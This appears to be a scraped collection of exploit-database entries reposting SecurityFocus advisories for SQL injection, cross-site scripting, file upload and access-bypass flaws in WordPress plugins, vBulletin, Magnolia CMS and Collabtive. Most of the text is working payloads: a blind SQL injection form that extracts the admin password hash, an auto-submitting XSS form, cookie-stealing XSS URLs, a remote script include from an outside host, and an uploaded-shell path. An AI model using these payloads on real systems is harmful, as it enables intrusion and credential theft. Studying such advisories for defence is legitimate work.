	<input type="text" name="poll_id" value="0 UNION (SELECT IF(substr(user_pass,1,1) = CHAR(36), SLEEP(5), 0) FROM `wp_users` WHERE ID = 1) -- ">
	<input type="submit" value="Send">
</form>

3. Solution:
   
Update to version 0.8.4.9
HireHackking 
source: https://www.securityfocus.com/bid/61449/info

VBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

VBulletin 4.0.x are vulnerable. 

The exploit is caused due to a variable named 'update_order' not being
sanitized before being used within an insert into statement.

if ($_REQUEST['do'] == 'update_order')
{
$vbulletin->input->clean_array_gpc('r', array(
'force_read_order'   => TYPE_ARRAY
));

if ($vbulletin->GPC['force_read_order'])
{
foreach ($vbulletin->GPC['force_read_order'] AS $threadid => $order)
{
$db->query_write("
UPDATE " . TABLE_PREFIX . "thread AS thread
SET force_read_order = '$order'
WHERE threadid = '$threadid'
");
}
}
  POC
 You will need Admincp Access then go to
site.com/admincp/force_read_thread.php then in the force read order colum
put a ' into one of them to show this
 Database error in vBulletin 4.2.1:

Invalid SQL:

UPDATE thread AS thread
SET force_read_order = '1''
WHERE threadid = '5161';

MySQL Error   : You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
'5161'' at line 2
Error Number  : 1064
Request Date  : Thursday, July 25th 2013 @ 01:20:52 AM
Error Date    : Thursday, July 25th 2013 @ 01:20:52 AM
Script        :
http://www.example.com/admincp/force_read_thread.php?do=update_order
Referrer      : http://www.example.com/admincp/force_read_thread.php
IP Address    :
Username      : n3tw0rk
Classname     :
MySQL Version :
HireHackking 
source: https://www.securityfocus.com/bid/61423/info

Magnolia CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Magnolia CMS versions 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 are vulnerable.

<form action="http://www.example.com/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID" value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password" value='password'>
<input type="hidden" name="passwordConfirmation" value='password'>
<input type="hidden" name="username" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName" value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email" value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>
HireHackking 
source: https://www.securityfocus.com/bid/61401/info

The FlagEm plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/FlagEm/flagit.php?cID=[Xss]
HireHackking 
source: https://www.securityfocus.com/bid/61425/info

The Duplicator plugin for WordPress is prone to a cross-site-scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Duplicator 0.4.4 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/duplicator/files/installer.cleanup.php?remove=1&package=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
HireHackking 
source: https://www.securityfocus.com/bid/61384/info

Collabtive is prone to multiple cross-site scripting vulnerabilities, an arbitrary file upload vulnerability, and a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to bypass certain security restrictions, upload and execute arbitrary script code in the context of the affected web server process. This may let attackers steal cookie-based authentication credentials, perform unauthorized actions, or compromise the application; other attacks are possible.

Collabtive 1.0 is vulnerable; other versions may also be affected. 

File upload:

https://www.example.com/secprj/files/standard/avatar/uploadedshell_104185.php

Cross-site scripting:

https://www.example.com/secprj/managechat.php?userto=<SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>&uid=2

"><SCRIPT/XSS SRC="http://www.example1.com/xss.js";></SCRIPT>

Security-bypass:

https://www.example.com/secprj/manageuser.php?action=del&id=5